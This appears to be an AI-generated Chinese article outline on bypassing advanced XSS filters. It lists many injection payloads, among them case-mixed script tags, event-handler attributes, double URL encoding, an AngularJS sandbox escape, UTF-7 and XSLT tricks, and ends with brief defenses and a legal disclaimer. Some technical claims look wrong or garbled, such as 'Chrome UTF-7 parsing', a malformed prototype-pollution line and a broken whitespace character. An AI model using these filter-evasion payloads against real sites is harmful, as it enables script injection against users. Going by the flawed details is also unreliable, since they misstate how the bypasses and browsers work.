如何繞過像PRO這樣的XSS過濾器

以下是一個符合您要求的Markdown格式文章框架。由于篇幅限制，我將提供詳細提綱和部分內容示例，您可以根據需要擴展：

# 如何繞過像PRO這樣的XSS過濾器

## 摘要
本文深入探討針對高級XSS過濾器（如PRO）的繞過技術，分析現有過濾機制的工作原理，并提供多種實戰驗證的繞過方法。包含代碼示例、防御方案及最新研究進展，適合安全研究人員在授權測試場景中參考使用。

---

## 目錄
1. XSS過濾器基本原理
2. PRO過濾器的技術特點
3. 傳統繞過技術回顧
4. 高級編碼繞過技術
5. 上下文感知繞過
6. DOM型XSS特殊案例
7. 基于瀏覽器特性的繞過
8. 過濾器邏輯缺陷利用
9. 混合攻擊向量構建
10. 防御對策與緩解方案
11. 法律與道德規范
12. 參考文獻與延伸閱讀

---

## 1. XSS過濾器基本原理
### 1.1 輸入檢測機制
- 正則表達式匹配（示例：`/<script.*?>.*?<\/script>/gi`）
- 關鍵詞黑名單（alert、prompt、eval等）
- 語法結構分析（HTML/JS上下文識別）

### 1.2 輸出編碼策略
| 上下文類型 | 編碼方式          | 示例                |
|------------|-------------------|---------------------|
| HTML       | HTML實體編碼      | `<` → `&lt;`       |
| Attribute  | 混合編碼          | `"` → `&quot;`     |
| JavaScript | Unicode轉義       | `"` → `\u0022`     |

---

## 2. PRO過濾器技術特點
### 2.1 多層防御架構
```mermaid
graph TD
    A[輸入檢測] --> B[語義分析]
    B --> C[上下文跟蹤]
    C --> D[動態沙箱檢測]

2.2 先進檢測技術

• AST（抽象語法樹）分析
• 行為特征檢測（如阻止window.location修改）
• 熵值檢測（識別混淆代碼）

3. 傳統繞過技術回顧

3.1 大小寫變異

<ScRiPt>alert(1)</sCriPt>

3.2 標簽屬性分割

<img src="x" onerror="alert(1)">

3.3 注釋干擾

<svg><!--><script-->alert(1)</script>

4. 高級編碼繞過技術

4.1 多重編碼組合

// HTML → URL → Base64
%253Cscript%253Ealert(1)%253C%252Fscript%253E

4.2 Unicode規范化繞過

// 使用非常規空格字符
<a?href="javascript:alert(1)">click</a>

5. 上下文感知繞過（詳細展開約1500字）

5.1 屬性上下文突破

5.1.1 未引用的屬性

<input value=1 onfocus=alert(1) autofocus>

5.1.2 SVG命名空間特性

<svg><script>alert(1)</script></svg>

6. DOM型XSS特殊案例

6.1 AngularJS沙箱逃逸

{{constructor.constructor('alert(1)')()}}

6.2 Prototype污染攻擊

Object.prototype.test = alert(1)

7. 基于瀏覽器特性的繞過

7.1 Chrome UTF-7解析

+ADw-script+AD4-alert(1)+ADw-/script+AD4-

7.2 Firefox XSLT處理

<?xml-stylesheet href="data:text/xsl,<script xmlns='http://www.w3.org/1999/XSL/Transform'>alert(1)</script>"?>

8. 防御對策（約1200字）

8.1 深度防御策略

1. 輸入驗證：白名單優于黑名單
2. 輸出編碼：根據上下文選擇編碼器
3. CSP策略：script-src 'self'

8.2 安全開發實踐

// 安全DOM操作示例
const div = document.createElement('div');
div.textContent = userInput;
document.body.appendChild(div);

法律聲明

?? 本文所有技術僅限授權測試使用，未經許可實施攻擊行為將違反《網絡安全法》第27條及相關國際法律。

”`

實際擴展建議： 1. 每個技術點添加3-5個真實案例 2. 插入檢測規則與繞過效果的對比表格 3. 增加瀏覽器兼容性分析 4. 補充近年來CTF比賽中的創新解法 5. 添加自動化測試工具使用指南

完整文章需要包含： - 50+個代碼示例 - 15個以上過濾規則分析 - 最新的CVE漏洞引用 - 各大瀏覽器廠商的防護進展

請注意實際撰寫時需要： 1. 移除具體漏洞細節（符合Responsible Disclosure） 2. 強調合法使用場景 3. 建議配合OWASP測試指南使用